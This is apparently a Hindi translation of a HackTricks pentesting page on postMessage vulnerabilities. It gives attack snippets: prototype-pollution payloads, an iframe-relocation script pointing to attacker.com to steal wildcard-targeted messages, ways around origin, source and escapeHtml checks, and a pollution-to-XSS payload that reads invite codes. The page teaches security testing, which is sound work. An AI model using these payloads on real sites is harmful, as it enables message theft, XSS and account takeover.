hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

22 KiB
Raw Blame History

PostMessage संवेदनशीलताएँ

PostMessage संवेदनशीलताएँ

AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

PostMessage भेजें

PostMessage निम्नलिखित फ़ंक्शन का उपयोग करके संदेश भेजता है:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

ध्यान दें कि targetOrigin एक '*' या https://company.com. जैसा URL हो सकता है।
दूसरे परिदृश्य में, संदेश केवल उस डोमेन को भेजा जा सकता है (भले ही window ऑब्जेक्ट का मूल अलग हो)।
यदि वाइल्डकार्ड का उपयोग किया जाता है, संदेश किसी भी डोमेन को भेजे जा सकते हैं, और Window ऑब्जेक्ट के मूल को भेजे जाएंगे।

iframe और targetOrigin में वाइल्डकार्ड का हमला

जैसा कि इस रिपोर्ट में समझाया गया है, यदि आपको एक पेज मिलता है जिसे iframed किया जा सकता है (कोई X-Frame-Header सुरक्षा नहीं) और जो संवेदनशील संदेश postMessage का उपयोग करके एक वाइल्डकार्ड (*) के माध्यम से भेज रहा है, आप iframe के मूल को संशोधित कर सकते हैं और संवेदनशील संदेश को अपने नियंत्रण वाले डोमेन में leak कर सकते हैं।
ध्यान दें कि यदि पेज को iframed किया जा सकता है लेकिन targetOrigin को URL पर सेट किया गया है और वाइल्डकार्ड पर नहीं, तो यह चाल काम नहीं करेगी

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener का शोषण

addEventListener वह फ़ंक्शन है जिसका उपयोग JS द्वारा postMessages की प्रतीक्षा कर रहे फ़ंक्शन को घोषित करने के लिए किया जाता है
इसके लिए निम्नलिखित जैसा कोड प्रयोग किया जाएगा:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

ध्यान दें कि इस मामले में पहली बात जो कोड कर रहा है वह मूल की जांच कर रहा है। यह बहुत ही महत्वपूर्ण है, खासकर अगर पेज प्राप्त जानकारी के साथ कुछ संवेदनशील कार्य करने वाला है (जैसे कि पासवर्ड बदलना)। अगर यह मूल की जांच नहीं करता है, तो हमलावर पीड़ितों को इस एंडपॉइंट्स पर मनमाना डेटा भेजने के लिए मजबूर कर सकते हैं और पीड़ितों के पासवर्ड बदल सकते हैं (इस उदाहरण में)।

सूचीकरण

वर्तमान पेज में इवेंट लिसनर्स का पता लगाने के लिए आप:

  • JS कोड में window.addEventListener और $(window).on (JQuery संस्करण) के लिए खोजें
  • डेवलपर टूल्स कंसोल में निष्पादित करें: getEventListeners(window)

  • ब्राउज़र के डेवलपर टूल्स में Elements --> Event Listeners पर जाएं

मूल जांच बायपास

  • event.isTrusted सच होता है जब इवेंट को उपयोगकर्ता की क्रिया द्वारा उत्पन्न किया गया हो। अगर सही तरीके से जगह पर हो, तो वास्तव में बायपास नहीं किया जा सकता, लेकिन उल्लेख करने योग्य है।
  • अगर indexOf() का उपयोग PostMessage इवेंट के मूल की जांच करने के लिए किया जाता है, तो याद रखें कि इसे निम्नलिखित उदाहरण की तरह आसानी से बायपास किया जा सकता है:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • यदि search() का उपयोग मूल की पुष्टि के लिए किया जाता है, तो यह असुरक्षित हो सकता है। String.prototype.search() के दस्तावेज़ के अनुसार, यह विधि एक नियमित अभिव्यक्ति ऑब्जेक्ट लेती है, न कि एक स्ट्रिंग। यदि regexp के अलावा कुछ भी पास किया जाता है, तो वह स्वतः ही एक regex में परिवर्तित हो जाएगा।
    नियमित अभिव्यक्ति में, एक बिंदु (.) को वाइल्डकार्ड के रूप में माना जाता है। एक हमलावर इसका फायदा उठा सकता है और विशेष डोमेन का उपयोग करके पुष्टि को बायपास कर सकता है, जैसे कि:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • पिछले उदाहरण की तरह, match() भी एक regex की जांच करता है, इसलिए अगर regex गलत तरीके से बनाया गया हो तो इसे bypasseable किया जा सकता है।
  • यदि escapeHtml फंक्शन का उपयोग किया जाता है, तो यह फंक्शन एक new एस्केप्ड ऑब्जेक्ट नहीं बनाता है, बल्कि मौजूदा ऑब्जेक्ट की properties को ओवरराइट करता है। इसका मतलब है कि अगर हम एक ऐसा ऑब्जेक्ट बनाने में सक्षम हैं जिसकी एक नियंत्रित property हो जो hasOwnProperty का जवाब नहीं देती है, तो वह एस्केप नहीं किया जाएगा।
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File ऑब्जेक्ट इस एक्सप्लॉइट के लिए उत्तम है क्योंकि इसमें एक रीड-ओनली name प्रॉपर्टी होती है जिसका उपयोग हमारे टेम्पलेट में किया जाता है और यह escapeHtml फंक्शन को बायपास करेगा।

e.origin == window.origin बायपास

जब एक पेज को सैंडबॉक्स्ड इफ्रेम के माध्यम से <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> में एम्बेड किया जाता है, तो उस इफ्रेम का ओरिजिन null होगा।

जब सैंडबॉक्स वैल्यू allow-popups सेट की जाती है तब खुलने वाली पॉपअप सभी सैंडबॉक्स्ड एट्रिब्यूट्स को इन्हेरिट करेगी जब तक कि allow-popups-to-escape-sandbox सेट नहीं किया जाता।
इसलिए, एक पॉपअप को नल ओरिजिन से खोलने पर window.origin अंदर की पॉपअप भी null हो जाएगा।

इसलिए, अगर आप एक सैंडबॉक्स्ड इफ्रेम खोलते हैं जो पॉपअप्स की अनुमति देता है, और फिर आप इफ्रेम के अंदर से एक पॉपअप खोलते हैं, और इफ्रेम से पॉपअप को एक पोस्टमेसेज भेजते हैं, दोनों ओरिजिन्स नल होते हैं तो: e.origin == window.origin == null

अधिक जानकारी के लिए पढ़ें:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source को बायपास करना

यह संभव है कि जांच की जाए कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से ब्राउज़र एक्सटेंशन्स के कंटेंट स्क्रिप्ट्स के लिए यह जांचना दिलचस्प है कि क्या संदेश उसी पेज से भेजा गया था):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

आप e.source को एक संदेश के लिए null बना सकते हैं यदि आप एक iframe बनाएं जो postMessage भेजता है और तुरंत हटा दिया जाता है

अधिक जानकारी के लिए पढ़ें:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header बायपास

इन हमलों को आदर्श रूप से करने के लिए आपको पीड़ित वेब पेज को एक iframe के अंदर रखने में सक्षम होना चाहिए। लेकिन कुछ हेडर्स जैसे कि X-Frame-Header उस व्यवहार को रोक सकते हैं।
उन परिदृश्यों में आप एक कम चुपके वाला हमला भी कर सकते हैं। आप एक नया टैब खोल सकते हैं जो कमजोर वेब एप्लिकेशन के लिए हो और उसके साथ संवाद कर सकते हैं:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

मुख्य पृष्ठ को अवरुद्ध करके बच्चे को भेजे गए संदेश की चोरी

निम्नलिखित पृष्ठ में आप देख सकते हैं कि कैसे आप संवेदनशील postmessage डेटा चुरा सकते हैं जो एक बच्चे के iframe को भेजा जा रहा है, डेटा भेजने से पहले मुख्य पृष्ठ को अवरुद्ध करके और बच्चे में एक XSS का दुरुपयोग करके डेटा को लीक करने से पहले:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

iframe स्थान को संशोधित करके संदेश की चोरी

यदि आप X-Frame-Header के बिना एक वेबपेज को iframe कर सकते हैं जिसमें एक और iframe होता है, तो आप उस बच्चे के iframe का स्थान बदल सकते हैं, इसलिए यदि वह एक postmessage प्राप्त कर रहा है जो एक वाइल्डकार्ड का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe की उत्पत्ति को बदल सकता है एक पृष्ठ के लिए जो उसके द्वारा नियंत्रित होता है और संदेश को चुरा सकता है:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage का उपयोग करके Prototype Pollution और/या XSS

ऐसी परिस्थितियों में जहां postMessage के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित किया जाता है, आप पृष्ठ को iframe कर सकते हैं और postMessage के माध्यम से भेजकर prototype pollution/XSS का शोषण कर सकते हैं।

postMessage के माध्यम से बहुत अच्छी तरह से समझाया गया XSS के कुछ उदाहरण आप https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html पर पा सकते हैं।

postMessage के माध्यम से एक iframe में Prototype Pollution और फिर XSS का शोषण करने के लिए एक उदाहरण:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

अधिक जानकारी के लिए:

संदर्भ

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके: